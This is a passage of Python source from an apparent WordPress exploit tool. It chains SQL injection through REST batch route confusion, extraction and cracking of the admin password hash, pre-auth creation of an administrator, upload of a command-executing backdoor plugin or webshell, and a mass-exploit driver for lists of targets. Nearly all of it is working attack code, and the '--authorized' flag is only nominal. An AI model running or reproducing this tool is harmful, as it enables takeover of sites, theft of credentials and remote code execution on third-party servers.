UNION ALL SELECT \"\n                     + \" UNION ALL SELECT \".join(post_rows) + \" -- -\")\n    query = urllib.parse.urlencode(\n        {\"author_exclude\": union_payload, \"per_page\": \"500\", \"orderby\": \"none\"}\n    )\n    inner: List[Dict[str, Any]] = [\n        {\"method\": \"GET\", \"path\": \"http://:\"},\n        {\"method\": \"GET\", \"path\": _POSTS_ITEM_SOURCE + \"?\" + query},\n        {\"method\": \"GET\", \"path\": \"/wp/v2/posts\"},\n    ]\n    if tail_requests:\n        inner.extend(tail_requests)\n    outer = {\n        \"requests\": [\n            {\"method\": \"POST\", \"path\": \"http://:\"},\n            {\"method\": \"POST\", \"path\": \"/wp/v2/posts\", \"body\": {\"requests\": inner}},\n            {\"method\": \"POST\", \"path\": \"/batch/v1\", \"body\": {\"requests\": []}},\n        ]\n    }\n    client.request(\"POST\", batch_url, json_body=outer, retry=False)\n\n\ndef _first_embeddable_link(client: HttpClient, base: str) -> Optional[str]:\n    for route in (\"/wp/v2/posts\", \"/wp/v2/pages\", \"/wp/v2/media\"):\n        url = base + \"/?\" + urllib.parse.urlencode(\n            {\"rest_route\": route, \"per_page\": \"1\", \"_fields\": \"link\"}\n        )\n        resp = client.request(\"GET\", url, retry=False)\n        if resp.status != 200:\n            continue\n        try:\n            items = json.loads(resp.text())\n        except (json.JSONDecodeError, TypeError):\n            continue\n        if isinstance(items, list) and items and isinstance(items[0], dict):\n            link = items[0].get(\"link\")\n            if link:\n                return link\n    return None\n\n\ndef _preauth_admin(client: HttpClient, batch_url: str,\n                   base: str) -> Optional[Tuple[str, str]]:\n    old_timeout = client.config.timeout\n    client.config.timeout = 30.0\n    try:\n        if _union_read(client, batch_url, \"SELECT 0x4f4b\") != \"OK\":\n            return None\n\n        posts_table = _union_read(\n            client, batch_url,\n            \"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES \"\n            \"WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 \"\n            \"ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1\",\n        )\n        if not (posts_table and re.fullmatch(r\"[A-Za-z0-9_$]+\", posts_table)):\n            for prefix in _PREFIXES:\n                try:\n                    if _union_integer(client, batch_url,\n                                      f\"SELECT COUNT(*) FROM `{prefix}posts`\") > 0:\n                        posts_table = f\"{prefix}posts\"\n                        break\n                except ValueError:\n                    continue\n        if not posts_table:\n            print(red(\"[-]\") + \" could not recover wp_posts table name.\",\n                  file=sys.stderr)\n            return None\n        table_prefix = posts_table[:-5]\n\n        caps = _mysql_hex(table_prefix + \"capabilities\")\n        admin_sig = _mysql_hex('s:13:\"administrator\";b:1;')\n        try:\n            admin_id = _union_integer(\n                client, batch_url,\n                f\"SELECT u.ID FROM `{table_prefix}users` u \"\n                f\"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID \"\n                f\"WHERE m.meta_key={caps} AND INSTR(m.meta_value,{admin_sig})>0 \"\n                \"ORDER BY u.ID LIMIT 1\",\n            )\n        except ValueError:\n            admin_id = 0\n        if admin_id < 1:\n            print(red(\"[-]\") + \" could not find an existing administrator ID.\",\n                  file=sys.stderr)\n            return None\n\n        link = _first_embeddable_link(client, base)\n        if not link:\n            print(red(\"[-]\") + \" no public post/page found to seed oEmbed cache.\",\n                  file=sys.stderr)\n            return None\n        nonce = secrets.token_hex(6)\n        split = urllib.parse.urlsplit(link)\n        embeds = [\n            urllib.parse.urlunsplit(\n                (split.scheme, split.netloc, split.path, split.query, f\"{nonce}{i}\")\n            )\n            for i in range(3)\n        ]\n\n        content = \"\".join(\n            f'[embed width=\"500\" height=\"750\"]{u}[/embed]' for u in embeds\n        )\n        _render_union_posts(\n            client, batch_url,\n            [_wp_posts_tuple(0, body=content, title=\"seed\", slug=\"seed\")],\n        )\n\n        backing_ids: List[int] = []\n        for embed_url in embeds:\n            cache_name = hashlib.md5(\n                (embed_url + _OEMBED_SIZE).encode()\n            ).hexdigest()\n            try:\n                backing_ids.append(_union_integer(\n                    client, batch_url,\n                    f\"SELECT ID FROM `{posts_table}` WHERE \"\n                    f\"post_type=0x6f656d6265645f6361636865 \"\n                    f\"AND post_name=0x{cache_name.encode().hex()} \"\n                    \"ORDER BY ID DESC LIMIT 1\",\n                ))\n            except ValueError:\n                backing_ids.append(0)\n        if any(i < 1 for i in backing_ids) or len(set(backing_ids)) != 3:\n            print(red(\"[-]\") + \" could not recover three unique oEmbed cache post IDs.\",\n                  file=sys.stderr)\n            return None\n\n        outer_id = 1800000000 + secrets.randbelow(100000000)\n        nav_id = outer_id + 1\n        inner_id = outer_id + 2\n        changeset_id, cache_id, request_id = backing_ids\n        username = f\"cyphr_{nonce}\"\n        password = f\"Wp2!{secrets.token_urlsafe(15)}\"\n        email = f\"{username}@cyphrsec.invalid\"\n        changeset = json.dumps(\n            {\n                f\"nav_menu_item[{nav_id}]\": {\n                    \"type\": \"nav_menu_item\",\n                    \"user_id\": admin_id,\n                    \"value\": {\n                        \"object_id\": 0, \"object\": \"\", \"menu_item_parent\": 0,\n                        \"position\": 0, \"type\": \"custom\",\n                        \"title\": \"generated\", \"url\": _NAV_URL, \"target\": \"\",\n                        \"attr_title\": \"\", \"description\": \"\", \"classes\": \"\",\n                        \"xfn\": \"\", \"status\": \"publish\", \"nav_menu_term_id\": 0,\n                        \"_invalid\": False,\n                    },\n                }\n            },\n            separators=(\",\", \":\"),\n        )\n        rows = [\n            _wp_posts_tuple(0,\n                            body=f'[embed width=\"500\" height=\"750\"]{embeds[1]}[/embed]',\n                            title=\"trigger\", slug=\"trigger\"),\n            _wp_posts_tuple(changeset_id, body=changeset, title=\"changeset\",\n                            status=\"future\", slug=str(uuid.uuid4()),\n                            parent=outer_id, kind=\"customize_changeset\"),\n            _wp_posts_tuple(outer_id, body=\"outer\", title=\"outer\",\n                            status=\"draft\", slug=\"outer\", parent=changeset_id),\n            _wp_posts_tuple(cache_id, title=\"cache\", slug=\"cache\",\n                            parent=changeset_id),\n            _wp_posts_tuple(nav_id, body=\"nav\", title=\"nav\", slug=\"nav\",\n                            parent=request_id, kind=\"nav_menu_item\"),\n            _wp_posts_tuple(request_id, body=\"parse\", title=\"parse\",\n                            status=\"parse\", slug=\"parse\", parent=inner_id,\n                            kind=\"request\"),\n            _wp_posts_tuple(inner_id, body=\"inner\", title=\"inner\",\n                            status=\"draft\", slug=\"inner\", parent=request_id),\n        ]\n        user_body = {\"username\": username, \"password\": password,\n                     \"email\": email, \"roles\": [\"administrator\"]}\n        tail = [\n            {\"method\": \"POST\", \"path\": \"/wp/v2/users\", \"body\": user_body},\n            {\"method\": \"POST\", \"path\": \"/wp/v2/users\", \"body\": user_body},\n        ]\n        _render_union_posts(client, batch_url, rows, tail_requests=tail)\n\n        if _login_multi(client, base, username, password, batch_url):\n            return username, password\n        return None\n    finally:\n        client.config.timeout = old_timeout\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  LOGIN / ADMIN / PLUGIN UPLOAD\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _login_at(client: HttpClient, login_url: str, username: str,\n              password: str) -> Optional[str]:\n    client.request(\"GET\", login_url, retry=False)\n    payload = {\n        \"log\": username, \"pwd\": password, \"wp-submit\": \"Log In\",\n        \"redirect_to\": urllib.parse.urljoin(login_url, \"/wp-admin/\"),\n        \"testcookie\": \"1\",\n    }\n    headers = {\"Content-Type\": \"application/x-www-form-urlencoded\",\n               \"Referer\": login_url}\n    data = urllib.parse.urlencode(payload).encode()\n    client.request(\"POST\", login_url, data=data, headers=headers, retry=False)\n    cookies = [f\"{c.name}={c.value}\" for c in client._jar if c.name]\n    if any(c.name.startswith(\"wordpress_logged_in\") for c in client._jar):\n        return \"; \".join(cookies)\n    return None\n\n\ndef _find_login_url(client: HttpClient, base: str,\n                    batch_url: Optional[str] = None) -> str:\n    candidates = [urllib.parse.urljoin(base, \"wp-login.php\")]\n    if batch_url:\n        slug = _union_read(\n            client, batch_url,\n            \"SELECT option_value FROM wp_options WHERE option_name=0x77686c5f70616765\",\n        )\n        if slug and re.fullmatch(r\"[A-Za-z0-9_\\-/]{1,60}\", slug):\n            candidates.append(urllib.parse.urljoin(base, \"/\" + slug.strip(\"/\") + \"/\"))\n    for s in (\"login\", \"entrar\", \"acesso\", \"admin\", \"signin\"):\n        candidates.append(urllib.parse.urljoin(base, \"/\" + s + \"/\"))\n    for url in candidates:\n        try:\n            r = client.request(\"GET\", url, retry=False)\n        except Exception:\n            continue\n        body = r.text().lower()\n        if r.status == 200 and any(k in body for k in (\"loginform\", \"wp-submit\",\n                                                        \"user_login\")):\n            return url\n    return candidates[0]\n\n\ndef _login(client: HttpClient, base: str, username: str,\n           password: str) -> Optional[str]:\n    return _login_at(client, _find_login_url(client, base), username, password)\n\n\ndef _login_multi(client: HttpClient, base: str, username: str, password: str,\n                 batch_url: Optional[str] = None) -> Optional[str]:\n    return _login_at(client, _find_login_url(client, base, batch_url),\n                     username, password)\n\n\ndef _get_nonce(client: HttpClient, base: str, cookie: str) -> str:\n    resp = client.request(\n        \"GET\",\n        urllib.parse.urljoin(base, \"wp-admin/admin-ajax.php?action=rest-nonce\"),\n        headers={\"Cookie\": cookie},\n    )\n    return resp.text().strip()\n\n\ndef _create_admin_user(client: HttpClient, base: str, cookie: str,\n                       username: str, password: str, email: str) -> bool:\n    create_url = urllib.parse.urljoin(base, \"wp-json/wp/v2/users\")\n    payload = {\"username\": username, \"password\": password,\n               \"email\": email, \"roles\": [\"administrator\"]}\n    resp = client.request(\"POST\", create_url, json_body=payload,\n                          headers={\"Cookie\": cookie,\n                                   \"X-WP-Nonce\": _get_nonce(client, base, cookie)})\n    return resp.status == 201\n\n\ndef _upload_plugin(client: HttpClient, base: str, cookie: str, zip_data: bytes):\n    root_hint: Optional[str] = None\n\n    def _parse_hint(t: str) -> None:\n        nonlocal root_hint\n        mm = re.search(r\"Could not create directory\\.\\s*([^\\s<]+)\", t)\n        if mm:\n            root_hint = mm.group(1)\n\n    plugin_install_url = urllib.parse.urljoin(\n        base, \"wp-admin/plugin-install.php?tab=upload\")\n    resp = client.request(\"GET\", plugin_install_url, headers={\"Cookie\": cookie})\n\n    form = re.search(\n        r']+enctype=\"multipart/form-data\"[^>]*>(.{0,4000}?)',\n        resp.text(), re.S,\n    )\n    form_html = form.group(1) if form else resp.text()\n    match = re.search(r'name=\"_wpnonce\" value=\"([a-f0-9]+)\"', form_html)\n    if not match:\n        match = re.search(r'name=\"_wpnonce\" value=\"([a-f0-9]+)\"', resp.text())\n    if not match:\n        match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', resp.text())\n    if not match:\n        print(dim(f\"[d] upload page sem nonce (status={resp.status}): \"\n                  f\"{resp.text()[:300]!r}\"))\n        return False, root_hint\n    nonce = match.group(1)\n\n    upload_url = urllib.parse.urljoin(base, \"wp-admin/update.php?action=upload-plugin\")\n    boundary = \"----WebKitFormBoundary\" + ''.join(\n        random.choices(string.ascii_letters + string.digits, k=16))\n    body = (\n        f\"--{boundary}\\r\\n\"\n        f'Content-Disposition: form-data; name=\"_wpnonce\"\\r\\n\\r\\n{nonce}\\r\\n'\n        f\"--{boundary}\\r\\n\"\n        f'Content-Disposition: form-data; name=\"_wp_http_referer\"\\r\\n\\r\\n'\n        f'/wp-admin/plugin-install.php?tab=upload\\r\\n'\n        f\"--{boundary}\\r\\n\"\n        f'Content-Disposition: form-data; name=\"install-plugin-submit\"\\r\\n\\r\\n'\n        f'Install Now\\r\\n'\n        f\"--{boundary}\\r\\n\"\n        f'Content-Disposition: form-data; name=\"pluginzip\"; filename=\"plugin.zip\"\\r\\n'\n        f\"Content-Type: application/zip\\r\\n\\r\\n\"\n    ).encode() + zip_data + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n    headers = {\n        \"Content-Type\": f\"multipart/form-data; boundary={boundary}\",\n        \"Cookie\": cookie, \"Referer\": plugin_install_url,\n    }\n    resp = client.request(\"POST\", upload_url, data=body, headers=headers)\n    text = resp.text()\n    _parse_hint(text)\n\n    if \"No valid plugins\" in text or \"The package could not be installed\" in text:\n        print(dim(f\"[d] upload fail: {text[:300]!r}\"))\n        return False, root_hint\n\n    if resp.status == 200 and (\"Installing Plugin\" in text or \"Unpacking\" in text\n                               or \"Plugin installed\" in text\n                               or \"astral\" in text):\n        plugins_page = client.request(\n            \"GET\", urllib.parse.urljoin(base, \"wp-admin/plugins.php\"),\n            headers={\"Cookie\": cookie})\n        page_text = html.unescape(plugins_page.text())\n        link = re.search(\n            r'href=\"([^\"]*action=activate[^\"]*plugin=astral[^\"]*)\"',\n            page_text, re.I)\n        if not link:\n            if re.search(\n                r'href=\"[^\"]*action=deactivate[^\"]*plugin=astral[^\"]*\"',\n                page_text, re.I):\n                return True, root_hint\n            print(dim(\"[d] plugins.php sem link para astral (upload falhou?)\"))\n            return False, root_hint\n        activate_url = html.unescape(link.group(1))\n        if not activate_url.startswith(\"http\"):\n            if not activate_url.startswith(\"/\"):\n                activate_url = \"/wp-admin/\" + activate_url\n            activate_url = urllib.parse.urljoin(base, activate_url)\n        resp_act = client.request(\"GET\", activate_url, headers={\"Cookie\": cookie})\n        return (\"Plugin activated\" in resp_act.text()), root_hint\n\n    _parse_hint(text)\n    print(dim(f\"[d] upload fail (status={resp.status}): {text[:300]!r}\"))\n    return False, root_hint\n\n\ndef _generate_backdoor_plugin_zip() -> bytes:\n    php = (\n        \" bool:\n    import hashlib as _hl\n    if not stored_hash.startswith('$P$'):\n        return False\n    itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'\n    count_log2 = itoa64.index(stored_hash[3])\n    count = 1 << count_log2\n    salt = stored_hash[4:12]\n    hash_bytes = _hl.md5((salt + password).encode('utf-8')).digest()\n    for _ in range(count):\n        hash_bytes = _hl.md5(hash_bytes + password.encode('utf-8')).digest()\n    output = stored_hash[:12] + ''.join(\n        itoa64[c & 0x3f] + itoa64[(c >> 6) & 0x3f]\n        + itoa64[(c >> 12) & 0x3f] + itoa64[(c >> 18) & 0x3f]\n        for c in hash_bytes\n    )[:34]\n    return output == stored_hash\n\n\ndef _extract_and_login(client, batch_url, base, args, delay=1.0):\n    if getattr(args, \"password\", None):\n        admin_username = getattr(args, \"username\", \"admin\")\n        print(cyan(\"[*]\") + \" Using provided admin password.\")\n        print(cyan(\"[*]\") + \" Logging in...\")\n        cookie = _login_multi(client, base, admin_username, args.password, batch_url)\n        if not cookie:\n            print(red(\"[-]\") + \" Login failed.\", file=sys.stderr)\n            return None, None, None\n        print(mint(\"[+]\") + \" Authenticated as admin.\")\n        return cookie, admin_username, args.password\n\n    admin_username = getattr(args, \"username\", None)\n    if not admin_username:\n        admin_username = \"admin\"\n        if not _test_bool(\n                client, batch_url,\n                \"(SELECT COUNT(*) FROM wp_users WHERE user_login='admin')>0\",\n                delay=delay, debug=args.debug):\n            print(cyan(\"[*]\") + \" 'admin' nao existe; descobrindo username via SQLi...\")\n            admin_username = None\n            for q in (\n                \"SELECT user_login FROM wp_users WHERE ID=1\",\n                \"SELECT user_login FROM wp_users WHERE ID=(SELECT user_id FROM \"\n                \"wp_usermeta WHERE meta_key='wp_capabilities' AND meta_value \"\n                \"LIKE '%administrator%' LIMIT 1)\",\n            ):\n                name = _extract_string(client, batch_url, q, max_len=32,\n                                        delay=delay, debug=args.debug)\n                if name and re.fullmatch(r\"[A-Za-z0-9._@\\-]{1,60}\", name):\n                    admin_username = name\n                    break\n        if not admin_username:\n            print(red(\"[-]\") + \" Could not discover admin username.\",\n                  file=sys.stderr)\n            return None, None, None\n    print(mint(\"[+]\") + f\" Admin username: {admin_username}\")\n\n    print(cyan(\"[*]\") + \" Extracting admin password hash...\")\n    exists_sql = f\"SELECT COUNT(*) FROM wp_users WHERE user_login='{admin_username}'\"\n    if not _test_bool(client, batch_url, f\"({exists_sql})>0\",\n                       delay=delay, debug=args.debug):\n        print(red(\"[-]\") + \" Admin user not found.\", file=sys.stderr)\n        return None, None, None\n\n    hash_query = (f\"SELECT user_pass FROM wp_users WHERE \"\n                  f\"user_login='{admin_username}' LIMIT 1\")\n    admin_hash = _extract_string(client, batch_url, hash_query, max_len=48,\n                                  delay=delay, debug=args.debug)\n    if not admin_hash:\n        print(red(\"[-]\") + \" Failed to extract hash.\", file=sys.stderr)\n        return None, None, None\n    print(mint(\"[+]\") + f\" Admin hash: {admin_hash}\")\n\n    candidates: List[str] = []\n    if args.wordlist:\n        try:\n            with open(args.wordlist, \"r\", encoding=\"latin-1\") as f:\n                candidates.extend(line.strip() for line in f if line.strip())\n        except FileNotFoundError:\n            print(red(\"[-]\") + f\" Wordlist {args.wordlist} not found.\",\n                  file=sys.stderr)\n            return None, None, None\n\n    host = urllib.parse.urlsplit(base).hostname or \"\"\n    host_root = host.split(\".\")[0] if host else \"\"\n    candidates += [\n        admin_username, admin_username + \"123\", admin_username + \"@123\",\n        \"admin\", \"administrator\", \"password\", \"123456\", \"12345678\",\n        \"123456789\", \"admin123\", \"password123\", \"qwerty\", \"letmein\",\n        \"changeme\", \"welcome\", \"1q2w3e4r\", \"P@ssw0rd\", \"root\", \"toor\",\n        host_root, host, \"wp-admin\", \"wordpress\",\n    ]\n    plain_password = None\n    seen = set()\n    for word in candidates:\n        word = word.strip()\n        if not word or word in seen:\n            continue\n        seen.add(word)\n        if _phpass_check(word, admin_hash):\n            plain_password = word\n            print(mint(\"[+]\") + f\" Cracked password: {word}\")\n            break\n    if not plain_password:\n        print(red(\"[-]\") + \" Password not cracked (use --password ou --wordlist).\",\n              file=sys.stderr)\n        return None, None, None\n\n    print(cyan(\"[*]\") + \" Logging in...\")\n    cookie = _login_multi(client, base, admin_username, plain_password, batch_url)\n    if not cookie:\n        print(red(\"[-]\") + \" Login failed.\", file=sys.stderr)\n        return None, None, None\n    print(mint(\"[+]\") + \" Authenticated as admin.\")\n    return cookie, admin_username, plain_password\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  EXPLOIT DRIVER\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef exploit_target(args, target: str) -> int:\n    if not args.authorized:\n        print(red(\"Error:\") + \" --authorized flag is required for exploitation.\",\n              file=sys.stderr)\n        return 1\n    try:\n        base = normalize_target(target, args.default_scheme)\n    except ValueError as e:\n        print(red(\"Invalid target:\") + f\" {e}\", file=sys.stderr)\n        return 1\n\n    config = ScanConfig(\n        timeout=args.timeout, retries=args.retries,\n        verify_tls=not args.insecure, proxy=args.proxy,\n        headers=parse_headers(args.header), rate_limit=args.rate,\n        fingerprint_level=\"quick\", active_probe=False,\n        rest_endpoint=\"both\", include_request_log=False,\n        default_scheme=args.default_scheme, allow_cross_host_redirects=True,\n    )\n    limiter = RateLimiter(config.rate_limit)\n    client = HttpClient(config, limiter)\n\n    print(cyan(\"[*]\") + \" Testing route confusion...\")\n    probe_resp = client.request(\n        \"POST\", endpoint_url(base, \"rest-query-batch\"),\n        json_body=SAFE_ROUTE_CONFUSION_PROBE,\n        headers={\"X-WP2Shell-Exploit\": \"check\"})\n    probe = analyze_active_probe(probe_resp)\n    if not probe.vulnerable_signal:\n        probe_resp = client.request(\n            \"POST\", endpoint_url(base, \"rest-pretty-batch\"),\n            json_body=SAFE_ROUTE_CONFUSION_PROBE,\n            headers={\"X-WP2Shell-Exploit\": \"check\"})\n        probe = analyze_active_probe(probe_resp)\n    if not probe.vulnerable_signal:\n        print(red(\"[-]\") + \" Route confusion not detected.\", file=sys.stderr)\n        return 2\n    print(mint(\"[+]\") + \" Route confusion confirmed.\")\n\n    batch_kind = \"rest-query-batch\"\n    if probe.endpoint and \"rest-query\" not in probe.endpoint:\n        test_resp = client.request(\n            \"POST\", endpoint_url(base, \"rest-pretty-batch\"),\n            json_body=SAFE_ROUTE_CONFUSION_PROBE,\n            headers={\"X-WP2Shell-Exploit\": \"check\"})\n        if analyze_active_probe(test_resp).vulnerable_signal:\n            batch_kind = \"rest-pretty-batch\"\n    batch_url = endpoint_url(base, batch_kind)\n    print(cyan(\"[*]\") + f\" Using batch endpoint: {batch_url}\")\n\n    delay_s = max(0.5, float(getattr(args, \"delay\", 2.0)))\n    print(cyan(\"[*]\") + f\" Running timing-based SQL injection test... \"\n          f\"(SLEEP={delay_s}s, 7 requests)\")\n    false_times, true_times, debug_msgs = _perform_timing_test(\n        client, batch_url, delay_seconds=delay_s, num_samples=3, warmups=1,\n        debug=args.debug)\n    for msg in debug_msgs:\n        print(msg, file=sys.stderr)\n    sql_result = _classify_timing_result(false_times, true_times,\n                                          delay_seconds=delay_s)\n    print(cyan(\"[*]\") + f\" SQLi result: {sql_result.result}\")\n    if not sql_result.vulnerable_signal:\n        print(red(\"[-]\") + \" SQL injection not confirmed. Cannot proceed.\",\n              file=sys.stderr)\n        return 2\n\n    print(cyan(\"[*]\") + \" Attempting UNION pre-auth admin creation...\")\n    created = _preauth_admin(client, batch_url, base)\n    if created:\n        admin_username, plain_password = created\n        print(mint(\"[+]\") + f\" Created admin: {admin_username} / {plain_password}\")\n        cookie = _login_multi(client, base, admin_username, plain_password,\n                              batch_url)\n        if not cookie:\n            print(red(\"[-]\") + \" Login as new admin failed (login customizado/bloqueado?).\",\n                  file=sys.stderr)\n            _log_admin(target, admin_username, plain_password)\n            print(amber(\"[~]\") + f\" admin criado sem sessao: \"\n                  f\"{admin_username} / {plain_password}\")\n            return 4\n        print(mint(\"[+]\") + \" Authenticated as new admin.\")\n\n        print(cyan(\"[*]\") + \" Uploading backdoor plugin...\")\n        plugin_zip = _generate_backdoor_plugin_zip()\n        upload_ok, root_hint = _upload_plugin(client, base, cookie, plugin_zip)\n        if upload_ok:\n            print(mint(\"[+]\") + \" Backdoor plugin installed and activated.\")\n            backdoor_url = urllib.parse.urljoin(\n                base, \"wp-content/plugins/astral/install.php\")\n            cmd = args.cmd\n            exec_url = f\"{backdoor_url}?cmd={urllib.parse.quote(cmd)}\"\n            print(cyan(\"[*]\") + f\" Executing: {cmd}\")\n            resp = client.request(\"GET\", exec_url)\n            if resp.status == 200:\n                _emit_exploit_output(args.output, resp.text())\n            else:\n                print(red(\"[-]\") + f\" Command execution failed (HTTP {resp.status}).\",\n                      file=sys.stderr)\n                return 3\n            print(\"\\n\" + amber(\"[!]\") + \" Clean up the backdoor plugin and the \"\n                  \"new admin user after testing.\")\n            return 0\n\n        print(red(\"[-]\") + \" Plugin upload failed.\", file=sys.stderr)\n        if root_hint and _try_outfile_root(client, batch_url, base, args.cmd,\n                                            root_hint, args.output):\n            return 0\n\n        _log_admin(target, admin_username, plain_password)\n        print(amber(\"[~]\") + f\" Admin created without RCE: {admin_username} / \"\n              f\"{plain_password}\")\n        print(red(\"[-]\") + \" INTO OUTFILE via root leak failed too.\")\n        return 4\n\n    print(red(\"[-]\") + \" UNION admin creation failed. Falling back to direct webshell...\")\n    print(cyan(\"[*]\") + \" Attempting direct webshell write (FILE privilege required)...\")\n    if _direct_shell_write(client, base, batch_url, args.cmd, debug=args.debug,\n                            output_path=args.output, delay=delay_s):\n        print(amber(\"[!]\") + \" Webshell remains at wp-content/uploads/ws.php. \"\n              \"Remove after testing.\")\n        return 0\n\n    print(cyan(\"[*]\") + \" Direct write failed. Falling back to credential extraction...\")\n    cookie, admin_username, plain_password = _extract_and_login(\n        client, batch_url, base, args, delay=delay_s)\n    if cookie is None:\n        print(red(\"[-]\") + \" Could not obtain admin session.\", file=sys.stderr)\n        return 2\n\n    new_admin = \"cyphrsec_admin\"\n    new_pass = ''.join(random.choices(string.ascii_letters + string.digits, k=16))\n    print(cyan(\"[*]\") + f\" Creating new admin user: {new_admin}\")\n    if _create_admin_user(client, base, cookie, new_admin, new_pass,\n                          f\"{new_admin}@example.com\"):\n        print(mint(\"[+]\") + f\" Created {new_admin} / {new_pass}\")\n        cookie = _login_multi(client, base, new_admin, new_pass, batch_url)\n        if not cookie:\n            print(red(\"[-]\") + \" Could not log in as new admin.\", file=sys.stderr)\n            return 2\n    else:\n        print(amber(\"[!]\") + \" Could not create new admin. Continuing with \"\n              \"original session.\")\n\n    print(cyan(\"[*]\") + \" Uploading backdoor plugin...\")\n    plugin_zip = _generate_backdoor_plugin_zip()\n    upload_ok, root_hint = _upload_plugin(client, base, cookie, plugin_zip)\n    if not upload_ok:\n        print(red(\"[-]\") + \" Plugin upload failed.\", file=sys.stderr)\n        if root_hint and _try_outfile_root(client, batch_url, base, args.cmd,\n                                            root_hint, args.output):\n            return 0\n        return 2\n    print(mint(\"[+]\") + \" Backdoor plugin installed and activated.\")\n\n    backdoor_url = urllib.parse.urljoin(\n        base, \"wp-content/plugins/astral/install.php\")\n    cmd = args.cmd\n    exec_url = f\"{backdoor_url}?cmd={urllib.parse.quote(cmd)}\"\n    print(cyan(\"[*]\") + f\" Executing: {cmd}\")\n    resp = client.request(\"GET\", exec_url)\n    if resp.status == 200:\n        _emit_exploit_output(args.output, resp.text())\n    else:\n        print(red(\"[-]\") + f\" Command execution failed (HTTP {resp.status}).\",\n              file=sys.stderr)\n        return 3\n\n    print(\"\\n\" + amber(\"[!]\") + \" Clean up the backdoor plugin and the new \"\n          \"admin user after testing.\")\n    return 0\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  MASS EXPLOIT DRIVER\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef run_exploit(args, parser) -> int:\n    global _ANSI\n    _ANSI = (not getattr(args, \"no_color\", False)) and (\n        os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY)\n\n    if not args.target and not args.targets_file:\n        list_path = _ask(f\"{violet('targets')} > [{dim('target.txt')}] \", \"target.txt\")\n        args.targets_file = [list_path]\n        if not getattr(args, \"cmd\", None):\n            args.cmd = _ask(f\"{violet('cmd')}     > [{dim('whoami')}] \", \"whoami\")\n        raw = _ask(f\"{violet('workers')} > 1-{MAX_CONCURRENCY} [{dim('10')}] \", \"10\")\n        try:\n            args.concurrency = int(raw)\n        except ValueError:\n            args.concurrency = 10\n        print()\n        print(dim(f\"[*] list={list_path}  cmd={args.cmd}  speed={args.concurrency}\"),\n              flush=True)\n\n    if not getattr(args, \"cmd\", None):\n        parser.error(\"--cmd is required (or run without args for interactive mode)\")\n\n    try:\n        targets = read_targets(args.target, args.targets_file, False, None)\n    except ValueError as exc:\n        if \"cannot read targets file\" in str(exc):\n            print(red(f\"[-] {exc}\\n\"\n                      f\"    Generate the target list first 